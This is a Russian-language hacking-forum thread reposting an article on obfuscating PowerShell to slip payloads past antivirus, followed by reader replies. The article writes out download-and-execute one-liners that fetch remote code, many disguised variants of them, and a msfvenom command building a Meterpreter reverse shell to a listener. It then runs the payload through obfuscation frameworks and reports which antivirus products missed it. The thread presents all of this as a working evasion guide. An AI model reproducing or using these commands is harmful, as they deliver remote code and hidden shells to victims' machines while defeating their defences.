• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Обфускация PowerShell. Как спрятать полезную нагрузку от глаз антивируса

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Обфускация PowerShell. Как спрятать полезную нагрузку от глаз антивируса


В базах антивирусов содержатся миллионы сигнатур, однако трояны по-прежнему остаются в хакерском арсенале. Даже публичные и всем известные варианты полезных нагрузок Metasploit, разновидностей RAT и стиллеров могут остаться незамеченными. Как? Благодаря обфускации! Даже скрипт на PowerShell можно спрятать от любопытных глаз антивируса.
Посмотри на эту строку. Что ты здесь видишь?
;,,C^Md^,; ,^/^C^ ^ ", ( ((;,( ;(s^Et ^ ^ co^M3=^^ /^^an^o)) )))&&,,(,S^Et^ ^ ^cO^m2=^s^^ta^^t)&&(;(;;s^eT^ ^ C^oM1^=^n"^^e"t) ) &&, (( ;c^aLl,^;,S^e^T ^ ^ fi^NAl^=^%COm1^%%c^Om2%^%c^oM3^%))&&; (, ,(c^AlL^, ;,^ ;%Fi^nAl^%) ) "
Полагаю — ничего. А ведь это всего лишь команда netstat /ano после обфускации. В этой статье мы постараемся разобраться, как привести команды на PowerShell к такому виду, и проверим, как на это среагируют антивирусы.

PowerShell в хакинге
Начнем с разговора о самом PowerShell. Почему именно он часто используется при взломе? Ну, как минимум потому, что PowerShell — это командная оболочка и несложный скриптовый язык, который используется во всех современных системах Windows. К тому же большинство команд исполняется в памяти, что может помочь избежать антивирусного детекта. Если на компьютере включено удаленное управление, то можно получить доступ к системе через зашифрованный трафик. Существуют хорошие инструменты и фреймворки для работы с PowerShell. Также PowerShell можно вызывать из других скриптов и файлов .bat, .doc, .xls, .ppt, .hta, .exe, .dll.

С помощью PowerShell можно загружать код из интернета (к примеру, с pastebin.com) или файла на ПК и исполнять его. Для этого используется командлет Invoke-Expression. Вот несколько примеров использования.
PHP:
Invoke-Expression -Command 'C:\directory\script.ps1'
'C:\directory\script.ps1' | Invoke-Expression
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')
Также можно использовать кодировку Base64. Для начала следует закодировать команды в Base64.
Код:
[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes('Ваш код'))
Перед исполнением нужно будет декодировать их с помощью -EncodeCommand.
Код:
powershell -e RwBlAQALQBQAHIAbwBjGUAcwBzAA==
powershell -enc RwBlAHALQBQAHIAbwBjAGUAcwBzAA==
powershell -EncodedCommand RwBAHQALQBAHIAbwBjAGUAcwBzAA==
Есть куча других трюков с PowerShell.


Обфускация PowerShell. Прятки с антивирусом
Процесс обфускации PowerShell не такой уж и сложный, так как это скриптовый язык и мы работаем со строками, а не с исполняемым двоичным кодом. Пройдемся по некоторым методам обфускации. Будем рассматривать все на примере этой команды:
Код:
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Обфускация — один из популярных методов обхода сигнатурного анализа. Для начала попробуем убрать System из строки System.Net.WebClient. На выполнение команды это не повлияет, так как в функциях .NET писать System необязательно.
Код:
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')
Посмотрим, что можно сделать еще. URL в нашей команде — это строка. Что можно делать со строками? Правильно — разделять и властвовать соединять, а вернее, конкатенировать. Попробуем это использовать.
Код:
Invoke-Expression (New-Object Net.WebClient).DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')
Команда отрабатывает точно так же. Теперь попробуем часть команды объявить в виде переменной.
Код:
$get = New-Object Net.Webclient;
Invoke-Expression $get.DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')
Все отлично обфусцируется и работает. Идем дальше. Кручу-верчу, запутать хочу! DownloadString, наверное, используется хакерами уже сто лет. Запрячем его и New-Objectсреди “ и `.
Код:
$get = New-Object "`N`et.`W`ebc`l`i`ent"; 
Invoke-Expression $get."D`o`wn`l`oa`d`Str`in`g"('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')
Неплохо замаскировали. Почти непонятно, что это на самом деле.

А можно ли использовать не DownloadString, а что-то другое для загрузки скрипта или файла? Да! Вашему вниманию представляются методы класса Net.Web-Client:

  • DownloadString
  • DownloadStringAsync
  • DownloadStringTaskAsync
  • DownloadFile
  • DownloadFileAsync
  • DownloadFileTaskAsync
  • DownloadData
  • DownloadDataAsync
  • DownloadDataTaskAsync
  • и другие.
Также можно использовать не Web-Client, а другие классы:

  • System.Net.WebRequest
  • System.Net.HttpWebRequest
  • System.Net.FileWebRequest
  • System.Net.FtpWebRequest
Например, вот как на деле будет выглядеть одна из команд.
Код:
IEX (New-Object System.IO.StreamReader ([Net.HttpWebRequest]::Create("$url").GetResponse(). GetResponseStream())).ReadToEnd(); $readStream.Close(); $response.Close()
Продолжим со строками. Перевернем команду задом наперед.
Код:
$reverseCmd = ")'PaLQ5MKM/war/moc.nibetsap//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX
Разделим и соединим строку другим способом.
Код:
$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://pastebin.com/raw/MKM5QLaP')";
IEX ($cmdWithDelim.Split("~~") -Join '') | IEX
Сделаем замену.
Код:
$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://pastebin.com/raw/MKM5QLaP')";
IEX $cmdWithDelim.Replace("~~","") | IEX
И снова конкатенируем другим способом.
Код:
$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/MKM5QLaP')"; 
IEX ($c1,$c2,$c3 -Join '') | IEX
Согласись, над командой мы поиздевались неплохо. Посмотрим теперь другие трюки, которые помогут доставить полезную нагрузку с использованием cmd. Есть один очень извращенный метод загрузки удаленных скриптов через блокнот. Но в бою все средства хороши, верно? Подгружаем скрипт File → Open.
2.jpg

Загрузка кода из интернета

И вуаля! Он у нас в блокноте.

3.jpg

Загруженный код

Как это все автоматизировать и использовать? С помощью метода SendKeys объекта WscriptShell, который имитирует нажатие клавиш. Пример подобного скрипта с использованием блокнота представлен ниже.
Код:
$wshell = New-Object -ComObject wscript.shell; 
$wshell.run("notepad");
$wshell.AppActivate('Untitled - Notepad');
Start-Sleep 2; 
$wshell.SendKeys('^o');
Start-Sleep 2; 
$wshell.SendKeys(http://pastebin.com/raw/MKM5QLaP); 
$wshell.SendKeys('~');
Start-Sleep 5; 
$wshell.SendKeys('^a');
$wshell.SendKeys('^c');
Продолжаем играть в прятки. Можно спрятать аргументы команды в родительском процессе. Интересно, проверяют ли антивирусы их?
Код:
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd /c echo %cmd% ^| powershell -"
А нельзя ли использовать не cmd, а что-то другое? Например, в некоторых случаях cmd можно заменить на forfiles. Forfiles — это консольная утилита Windows для операций с файлами.
4.png

Использование forfiles

Также cmd можно вызывать не напрямую, а через переменную %COMSPEC%. Запутываем PowerShell еще больше! В командах вместо знака - можно использовать знак /. Например, вот так:
Код:
powershell.exe -nop -noni -enc
powershell.exe /nop /noni /enc
Кажется, намудрили достаточно. Можно еще много обсуждать эти замечательные методы. Кому интересно, еще больше методов найдет в презентациях Даниэля Боханнона (первый PDF и второй). Ну а мы пока что посмотрим на написанные им инструменты, которые упростят обфускацию и сделают все за нас.


Автоматизируем обфускацию
Первый инструмент — Invoke-Obfuscation. Это фреймворк для обфускации PowerShell, который использует разные методы, в том числе и названные в предыдущем разделе. Загружаем архив, запускаем PowerShell. Переходим в папку фреймворка, меняем политику исполнения, если надо, и запускаем сам фреймворк.
Код:
Set-ExecutionPolicy Unrestricted
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
5.png

Фреймворк Invoke-Obfuscation

Для первоначального ознакомления вводи tutorial. Для тестирования будем использовать все ту же команду. Посмотрим необходимые опции и установим нужные (подсвечивается желтым).
Код:
show options
set scriptblock Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')
Попробуем использовать конкатенацию. Получаем результат и нашу строку.
7.png

Результат обфускации

Также можно закодировать команду в ASCII, HEX, Octal, Binary, SecureString или BXORencoding. Нагрузку возьмем потяжелее. Например, создадим ее с помощью msfvenom.
Код:
msfvenom -p windows/meterpreter/reverse_https --format psh --out xaker.ps1 LHOST=192.168.0.11 LPORT=8080
Попробуем использовать ENCONDING и опцию 6. Получается такая картина.

8.png

Результат обфускации полезной нагрузки

Можно использовать вместе конкатенацию, encoding и compress. Попробуй поиграться с разными вариантами и комбинациями.


DOSfuscation
Следующий инструмент того же автора — Invoke-DOSfuscation. Скачиваем его, запускаем PowerShell и вводим в папке фреймворка команды
Код:
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
9.png

Invoke-DOSfuscation

Попробуем обфусцировать ту же полезную нагрузку авторства msfvenom. Установим необходимые опции и используем базовую обфускацию.
Код:
SET COMMANDPATH c:\xaker.ps1
Forcode
Basic Obfuscation
Получаем нашу замаскированную полезную нагрузку.

10-1.jpg

Результат обфускации с помощью Invoke-DOSfuscation


Реакция антивирусов
Настало время проверить, как реагируют антивирусы на нашу нагрузку с обфускацией и без. Для теста будем использовать три антивируса: Kaspersky, Eset NOD32, Windows Defender.

Первым в бой идет Kaspersky. Проверяем нашу полезную нагрузку msfvenom в первоначальном виде. KAV даже не дал перейти по ссылке для скачивания файла xaker.ps1!

11.jpg


Но следующие два обфусцированных файла спокойно были запущены, и ничто не препятствовало загрузке. Однако проактивная защита антивируса через некоторое время узнала по поведению, что это наш пейлоад.

Переходим к Eset NOD32 и проверяем файлы в том же порядке. Поразительно, но он не заметил даже необфусцированный файл.

Напоследок проверим при помощи Windows Defender. Он не дал запустить первый файл без обфускации и сразу удалил его. Второй файл запустился спокойно и не был замечен. Третий файл запустился, но во время запуска был обнаружен.

Примечательно, что если конвертировать скрипт в .exe с помощью утилиты Ps2exe, то файлы будут видны большинству антивирусов.


Выводы
Победу в этой игре принесет знание цели. Если ты знаешь, используется ли антивирус и какой конкретно, то вполне есть шанс обойти его при помощи такого несложного трюка. Также полезно знать версию PowerShell на целевой машине и проверять, не сломался ли файл, на ней же.

Доработать обфускацию ты можешь сам и, комбинируя разные варианты, сделать так, чтобы антивирус точно не распознал поведение. Попробуй все методы и затем комбинируй ручную обфускацию, способы спрятать нагрузку и рассмотренные фреймворки на модели целевой машины. Обязательно должно получиться что-то уникальное, что пройдет мимо носа антивируса. В конце концов, все ограничено только твоей фантазией!


автор: Айгуль C. aka pixie
взял с хакер.ру
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Очень достойная статья, особенно приятно читать про powershell и любые .net решения.
 
"К тому же большинство команд исполняется в памяти, что может помочь избежать антивирусного детекта"
Смешно написано ))) а типа другое большинство выполняется на жестком диске
 
Пожалуйста, обратите внимание, что пользователь заблокирован
"К тому же большинство команд исполняется в памяти, что может помочь избежать антивирусного детекта"
Смешно написано ))) а типа другое большинство выполняется на жестком диске
Выполняемые команды не привязаны к коду на диске, не происходит прямого маппинга из файла или передача управления через создание потока - тем самым этот уменьшает риск детектов в статике и для больше половины АВ еще и в динамике. (само собой от песочниц не спасает, там маркеры в любом случае будут улетать в детект)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не совсем так, скрипт в любом случае читается в память. А далее зависит от версии powershell
v2 - интерпретируемая
v3 - компилирует в байткод и выполняет
Да, скрипт читается в память - но он не ссылается на какой-то файл на диски или на маппинг. Воть о чем речь шла там :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну так если скрипт читается, то откуда он читается? Естественно с файла. Что значит "не ссылается"? И как он может ссылаться?
Скрипт может выполнятся из буфера, а не из файла. Например небольшой лоадер который запускает PowerShell, скачивает данные по сети и БЕЗ сохранения на диск или маппинг - отправляет его на выполнение
 
Пожалуйста, обратите внимание, что пользователь заблокирован
АВ все равно где скрипт, проверка будет в момент выполнения.
Не в случае с .net - там это правило так просто не срабатывает :)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх